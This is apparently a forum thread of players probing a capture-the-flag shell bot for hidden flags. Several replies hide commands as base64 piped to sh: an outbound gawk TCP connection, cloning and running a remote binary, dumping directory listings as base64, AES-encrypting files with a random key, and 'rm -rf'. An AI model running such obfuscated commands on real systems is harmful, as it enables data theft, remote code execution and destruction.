'15dvvdxrvaw22g67dm9wn4ljajj8np5b-curl-8.21.0.drv/bin': Not a directory ls: cannot access '168mgcn213j5l8ibhhfbf8kcv4d81nax-curl-8.14.1-man/bin': No such file or directory ls: cannot access '16irphs0slnii5qqkhpvp2da5gvjhlx2-curl-0.4.46.drv/bin': Not a directory ls: cannot access '16z4nz3akhkv5r8bs2dfi9ivgzq9yz8l-curl-8.12.1.drv/bin': Not a directory ls: cannot access '199d0lp618n16dsfz1xfxvbfn2xm6yvy-curl-8.18.0.drv/bin': Not a directory ls: cannot access '1d3qcpinh0asj46j2ygcfpxiwq2r0byq-curl-sys-0.4.84+curl-8.17.0.drv/bin': Not a directory ls: cannot access '1f1hd02n9l1z37kkcpslxzj3nyyjyn7l-curl-8.20.0-man/bin': No such file or directory ls: cannot access '1fihipa062xl2drcsm686iscb0zxy70h-curl-8.20.0.drv/bin': Not a directory ls: cannot access '1mgim1zi9vwi21a5fr8rx1k0p1g18pqq-curl-sys-0.4.72+curl-8.6.0.drv/bin': Not a directory ls: cannot access '1mzf4bxmkshmjciw1mmblkx9z5hyn7ca-curl-8.14.1.tar.xz.drv/bin': Not a directory ls: cannot access '1p0l3y1j8lw3b4sryk033y13ixj1i596-curl-8.11.0.tar.xz.drv/bin': Not a directory ls: cannot access '1pqdamrgqkml4ji62k7v85m860z046c5-curl-8.21.0.drv/bin': Not a directory ls: cannot access '1vd1cj1lv5ccmdl1libim8ljr13ly0sb-curl-0.4.46.drv/bin': Not a directory ls: cannot access '1widgpd47fz35xjvxx4nr762rnyivycf-curl-8.11.0.drv/bin': Not a directory ls: cannot access '1xw9lsf6893mp0ia7x29rrfv6gf6wlnw-python3.14-curl-cffi-0.16.0.drv/bin': Not a directory ls: cannot access '2281r34yqnkjwp5033f68gzpr8lssfak-curl-8.12.1/bin': No such file or directory ls: cannot access '23izrnf75zr3y4rj2j9wnahzx392y3np-curl-0.4.49.drv/bin': Not a directory ls: cannot access '24fcmlm7g8pwabm6p6mfpwgvz42cw30r-curl-8.4.0.drv/bin': Not a directory ls: cannot access '29rn8xfs3nmmsf2gip2cs5cqgck3h7s6-curl-8.17.0.drv/bin': Not a directory ls: cannot access '2ghpvnzn1w3kkpg1xk6rj1fvl7cjhhmn-curl-8.19.0.drv/bin': Not a directory ls: cannot access '2glid80bsdhnxxp08z2xq7kwypvdnbk6-curl-8.18.0.drv/bin': Not a directory ls: cannot access '2p7xfa8ayys9x6p89r3vbx1f1bhwbjac-crate-curl-0.4.46.tar.gz.drv/bin': Not a directory ls: cannot access '2s2lg3i8j9dga5dniwb0pn6grlki3kdn-crate-curl-sys-0.4.72+curl-8.6.0.tar.gz.drv/bin': Not a directory ls: cannot access '2sqa98i1xpcc6nbalbj1d088qcg4c2cx-curl-8.12.1.drv/bin': Not a directory ls: cannot access '317r0xl4hj7m548rf142k7j99bv50z7a-crate-curl-0.4.46.tar.gz.drv/bin': Not a directory ls: cannot access '371jlyi7m3jb7kvmvsskwzygx7cjmpsa-curl-0.4.49.drv/bin': Not a directory ls: cannot access '3748hn31hi5zkjw6ydwd56dwi724f3a2-curl-8.21.0-man/bin': No such file or directory ls: cannot access '38d6xc8spj64y1pn80h1glcl71akz65h-curl-0.4.44.drv/bin': Not a direc ... (output truncated)$ echo Y2QgL25peC9zdG9yZS8gJiYgbHMgfGhlYWQgLWMgMzAwMCB8Z3ppcCB8IGJhc2U2NAo= | base64 -d |sh
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 Pz0PVEW4CwAA$ git -C ./prog/stacker.news log -p | grep "s3Cur1tY_c7f"
🤯
Are all four flags in place yet?
Yes, one is left
It was just a "blind shot," as they say in good Cuban.
-s3Cur1tY_c7f{y0u_mu57_83_r3411y_900d_0r_4_d3v} +s3Cur1tY_c7f{y0u_mu57_83_r3411y_900d_0r_4_d3v}$ find ~ -name ".gz" -o -name ".tar.gz" -o -name "*.zip"
/home/ctfbot/prog/stacker.news/docker/db/000_seed.sql.gz /home/ctfbot/prog/stacker.news/docker/opensearch/seed-embeddings.gz$ echo Z2F3ayAnQkVHSU4gewogICAgU2VydmljZSA9ICIvaW5ldC90Y3AvMC8xMDQuMTYuMTg1LjI0MS84MCIKICAgIHByaW50ICJHRVQgLyBIVFRQLzEuMVxyXG5Ib3N0OiBpY2FuaGF6aXAuY29tXHJcblxyXG4iIHwmIFNlcnZpY2UKICAgIHdoaWxlICgoU2VydmljZSB8JiBnZXRsaW5lKSA+IDApIHsKICAgICAgICBwcmludCAkMAogICAgfQogICAgY2xvc2UoU2VydmljZSkKfScgfCBiYXNlNjQK | base64 -d | sh 2>/dev/null
$ find ~ -iname "*.jpg" | xargs exiftool | grep -i "s3Cur1tY_c7f"
xargs: exiftool: No such file or directory$ ls -la ./Downloads
Fuck....im so stupid
total 24 drwxrwxr-x+ 3 1000 100 4096 Aug 29 00:45 . drwxrwxr-x+ 6 65534 65534 4096 Aug 29 18:09 .. drwxrwxr-x+ 2 1000 100 4096 Aug 29 17:11 snz$ find . -type f -iname "s3Cur1tY_c7f"
$ du -ah ./s3Cur1tY_c7f{*}
du: cannot access './s3Cur1tY_c7f{*}': No such file or directory$jobs
$ echo bHMgLWxydFIgfCBnemlwIHwgYmFzZTY0IC13IDAK | base64 -d | sh
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 ... (output truncated)$ echo Z2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9zaXItb3B0aS9sb2wuZ2l0ICYmIGNkIGxvbCAmJiBjaG1vZCAteCBjdXJsLWFtZDY0ICYmIC4vY3VybC1hbWQ2NCAtTCBodHRwczovL3N0YWNrZXIubmV3cy9layAtbyBlay5wcm9maWxlLmh0bWwgJiYgZWNobyBMTUFPCg== | base64 -d | sh
fatal: could not create work tree dir 'lol': Read-only file systemalmost!
$ ls -la /run/bin; ls -la /
total 704 dr-xr-xr-x 2 65534 65534 4096 Jan 1 1970 . dr-xr-xr-x 6 65534 65534 4096 Jan 1 1970 .. lrwxrwxrwx 1 65534 65534 71 Jan 1 1970 .gzip-wrapped -> /nix/store/rhp8ph1q699irvmacp27x3sw84slk32i-gzip-1.14/bin/.gzip-wrapped lrwxrwxrwx 1 65534 65534 63 Jan 1 1970 [ -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/[ lrwxrwxrwx 1 65534 65534 62 Jan 1 1970 awk -> /nix/store/88d79vz87a5g3wsclabrgqd93jqh5yv8-gawk-5.3.2/bin/awk lrwxrwxrwx 1 65534 65534 67 Jan 1 1970 b2sum -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/b2sum lrwxrwxrwx 1 65534 65534 68 Jan 1 1970 base32 -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/base32 lrwxrwxrwx 1 65534 65534 68 Jan 1 1970 base64 -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/base64 lrwxrwxrwx 1 65534 65534 70 Jan 1 1970 basename -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/basename lrwxrwxrwx 1 65534 65534 68 Jan 1 1970 basenc -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/basenc lrwxrwxrwx 1 65534 65534 75 Jan 1 1970 bash -> /nix/store/lfbzxs5wyqd2122mpbj5azkxhxspw9cd-bash-interactive-5.3p3/bin/bash lrwxrwxrwx 1 65534 65534 78 Jan 1 1970 bashbug -> /nix/store/lfbzxs5wyqd2122mpbj5azkxhxspw9cd-bash-interactive-5.3p3/bin/bashbug lrwxrwxrwx 1 65534 65534 65 Jan 1 1970 cat -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/cat lrwxrwxrwx 1 65534 65534 67 Jan 1 1970 chcon -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/chcon lrwxrwxrwx 1 65534 65534 67 Jan 1 1970 chgrp -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/chgrp lrwxrwxrwx 1 65534 65534 67 Jan 1 1970 chmod -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/chmod lrwxrwxrwx 1 65534 65534 67 Jan 1 1970 chown -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/chown lrwxrwxrwx 1 65534 65534 68 Jan 1 1970 chroot -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/chroot lrwxrwxrwx 1 65534 65534 67 Jan 1 1970 cksum -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/cksum lrwxrwxrwx 1 65534 65534 66 Jan 1 1970 cmp -> /nix/store/cw3a3yz8vrfsz53ypjw8hspy5hzzx2py-diffutils-3.12/bin/cmp lrwxrwxrwx 1 65534 65534 66 Jan 1 1970 comm -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/comm lrwxrwxrwx 1 65534 65534 71 Jan 1 1970 coreutils -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/coreutils lrwxrwxrwx 1 65534 65534 64 Jan 1 1970 cp -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/cp lrwxrwxrwx 1 65534 65534 68 Jan 1 1970 csplit -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/csplit lrwxrwxrwx 1 65534 65534 65 Jan 1 1970 cut -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/cut lrwxrwxrwx 1 65534 65534 66 Jan 1 1970 date -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/date lrwxrwxrwx 1 65534 65534 64 Jan 1 1970 dd -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/dd lrwxrwxrwx 1 65534 65534 64 Jan 1 1970 df -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/df lrwxrwxrwx 1 65534 65534 67 Jan 1 1970 diff -> /nix/store/cw3a3yz8vrfsz53ypjw8hspy5hzzx2py-diffutils-3.12/bin/diff lrwxrwxrwx 1 65534 65534 68 Jan 1 1970 diff3 -> /nix/store/cw3a3yz8vrfsz53ypjw8hspy5hzzx2py-diffutils-3.12/bin/diff3 lrwxrwxrwx 1 65534 65534 65 Jan 1 1970 dir -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/dir lrwxrwxrwx 1 65534 65534 71 Jan 1 1970 dircolors -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/dircolors lrwxrwxrwx 1 65534 65534 69 Jan 1 1970 dirname -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/dirname lrwxrwxrwx 1 65534 65534 64 Jan 1 1970 du -> /nix/store/hqkszxk2c0cxvd04xa4gsaqs182dw8l2-coreutils-9.8/bin/du lrwxrwxrwx 1 65534 65534 66 Jan 1 1970 echo - ... (output truncated)$ echo Zm9yIGYgaW4gJChmaW5kIC4gLXR5cGUgZmlsZSk7IGRvIGVjaG8gJGY7IHN0cmluZ3MgJGYgfCBncmVwIHMzQ3VyMXRZX2M3ZjsgZG9uZSB8IGJhc2U2NAo= | base64 -d | sh
find: Must separate multiple arguments to -type using: ','$ echo Zm9yIGYgaW4gJChmaW5kIC4gLXR5cGUgZik7IGRvIGVjaG8gJGY7IHN0cmluZ3MgJGYgfCBncmVwIHMzQ3VyMXRZX2M3ZjsgZG9uZSB8IGJhc2U2NAo= | base64 -d | sh
Sorry, only works when you reply to the root item: #1557767
np. it was a dud. haha
$ rm - rf
rm: cannot remove '-': No such file or directory rm: cannot remove 'rf': No such file or directory$ env | grep "s3Cur1tY_c7f"
(command exited with error: exit status 1)I think this worked as intended, but the error message could be more helpful
coz
envis a protected file?do we have have
sudoaccess?No,
envis a command that works.grepreturned exit code 1 because nothing was found, I think.You already tried out and know, but for everyone reading: no
did you make this, @ek?
https://github.com/ekzyis/ctfbot
$ find ~/ -iname "s3Cur1tY_c7f"
I need to check, but I think there’s something wrong with your command
I think the options can’t come after the directory path
$ ls -la ./Pictures
total 16 drwxrwxr-x+ 2 1000 100 4096 Aug 29 00:42 . drwxrwxr-x+ 6 65534 65534 4096 Aug 29 18:09 ..ls -la ./Pictures
$ ls -laht
total 48K drwx------ 3 1000 100 60 Aug 29 19:31 .. drwxrwxr-x+ 6 65534 65534 4.0K Aug 29 18:09 . -rw-rwxr--+ 1 65534 65534 477 Aug 29 18:09 readme.txt -rw-rwxr--+ 1 65534 65534 131 Aug 29 16:25 .flag.txt drwxrwxr-x+ 3 1000 100 4.0K Aug 29 00:47 prog drwxrwxr-x+ 3 1000 100 4.0K Aug 29 00:47 Documents drwxrwxr-x+ 3 1000 100 4.0K Aug 29 00:45 Downloads drwxrwxr-x+ 2 1000 100 4.0K Aug 29 00:42 Pictures$ cat .flag.txt
Sorry, I think I should remove the $ requirement next time, lol
Edit: Or I should support edits
$ du .
not sure what happened here, will check later
It was an edit :P My original comment lacked the '$'. When I saw I wasn't getting a response I looked around and saw other people using the dollar sign. So I edited to see if it would go through without having to pay 100 sats for another message. It's cool though, this is a fun challenge :)
Ahh ok, thanks for telling me!
Thanks! I’m having fun, too!
$ find / -r -f -name “c7f”
find: unknown predicate `-r'ls -la ~
Sorry, can you try again with a $ in front?
$ sl
$ echo -n "@ek i think that now it's done" && echo H4sIAA1fk2oAA03Sy46bMBQG4H2fwossOgskbCajRu1IbRJMAsFTG4657LhYIcEQZkISgubhm2k6UlfW0f+f483nPU++HjrVHo8avWVtiYxKDQg/PXxH9i1SRXVAldL6gN7RZ0+1BTIydTQw+WaoIkeGhyYeMvLsqJ4eb5ue99/VrlbXU6+RcVt7u3Y9MrpTvmuRsWtvCfpx/2MTmP0mwAsBpRvu5lyC6wfgbwNTpvfM9ELQLq/1K4fpIiX9kDl9J0Zt+bY7B5AOB/qbm1S82JQFoBeclJuPWQA9KSivmY0b1XZx2cxW4cgwjw6YbTsSSNol1hxU7LIXWi5LPG99S659nb7dZuHH5TywuxHC7SCdWSUJWwd7cWbh3Pf3vslq4ahmsJNW7IqoMjPLHRetT0QjFjJ2ObOZW+jKy0N+ySJ3x5z1VcIsgWUJObA+pGzJsY3LkPW5+UjYKC++mS4LSKbJmAx+zYjcszoH8AIy1Uk9bRPsiiKsOtHQPicFzvb0JJwLUbvZPtkLnMVpIFvWqbiMC8tdF1SMaaRfSyyWqdNHWUs75XAriiuRb7tXsarPainSXOqeSUmlk0Ybkh55AxZY7jUCkYWRq/NoNkbNeijbromoPDNaPII59YRdXf1VjcOGarGiKa9n7mIvlsFoDyyU3Md0w2/vi9QX3xHX1MFBaWmt6v7EazAzsj4HpIwTAhisuVQSCDguYTCQ0BmGAAYa7fVT6NgeSOoKmwoOa++fGxrWfAtULkJbL9d2T6O7mX6xfX5G73eZyCgfPth9mjPaG9uH/2B/1n7dDP9tTDzv58T+8gcn5p2PJQMAAA== | base64 -d | gunzip | bash
@ek i think that now it's donebash: line 1: openssl: command not found bash: line 1: openssl: command not found bash: line 1: openssl: command not found bash: line 1: openssl: command not found @this is what you get lol
$cd
$jobs
$ echo Sz0kKG9wZW5zc2wgcmFuZCAtaGV4IDE2KTsgRT0kKGxzIC1scnRSIHwgYmFzZTY0IHwgb3BlbnNzbCBlbmMgLWFlcy0xMjgtZWNiIC1LICRLIC1hIC1iYXNlNjQpOyBlY2hvICRFJEsK | base64 -d |sh
haha nice try
just testing the limits
sh: line 1: openssl: command not found sh: line 1: openssl: command not foundUp arrow
Up arrow
….
Enter
$ echo bHMgL25peC9zdG9yZS8gfGd6aXAgfCBiYXNlNjQgLXcgMAo= | base64 -d |sh
H4sIAAAAAAAAA5T9WZPkunYmiL73XynzNMwEHtquqY5KXbIrVat1pC69pWFwgCAJBghEcvr1d4EeHhkee2u4lvucjMwkOAALa33fmoAQQofcdF5GxiQ76G4GPoY1H4wJkbabQMhrjLjulFJS3L211jl/dx5+0bvSWElpHfqR9bvtf7iy/h9wSyoDmZl0emBlXpHA2PLDMDGss1hvtuj3+22I3t/qu36P9oZ+kB9E/njX5Uc4nzcJfeokYnLsSS7Vn6NXdE9UIppQubm717+m9x/JtWvjMhcrUlc2+HFlHXGh5m6leF8qvv2a4/vNmV/1ZsrbeC8/6r2s0d6vkVu2VNFxZDgcLJxYo8PFESajz9st/crO3/AP0sEbfrxXKnTwo8RLx/E0Da6OM0mjCJ0oc7lN0az6Bp9DfqB2Nfzb5Cqdu12lfnZy3oKZw5Ey7YO+2UnP4bYVnfO93LD6gX90z+dk6YheqkjGcL2vaCGry/HIHaYu3bY+2r49h39ef1ap+8HhtZhOZEM7vvPTeb1ta7r5Ek10Eb4F/cC0Xb/xg9tFH9lv46HPIkSWteC+nMMy3N7yfbZv5X7TqcD64B/i+ZwTblpk3ILnyoQuxFzGideJ754IeK97ufvylm72LYFQXGPh163gH1YbPX3eZuZGF78ecdzO1M0x1hTPdYy8qHCL9ef7vaQ46+lnfpsOH6cJ3r0DSYHBGK+edjAtm923IjoGwln7UakS+bI91tu+ze86zjCt4f7+ftyei/7xfLjFwUPGtmyrR9luiKA4wvMoGYi+lV/moD/ordz3NN0orP7z+zHFRPRWyDxQrc9Z19njLq9ezEdBt32N7po3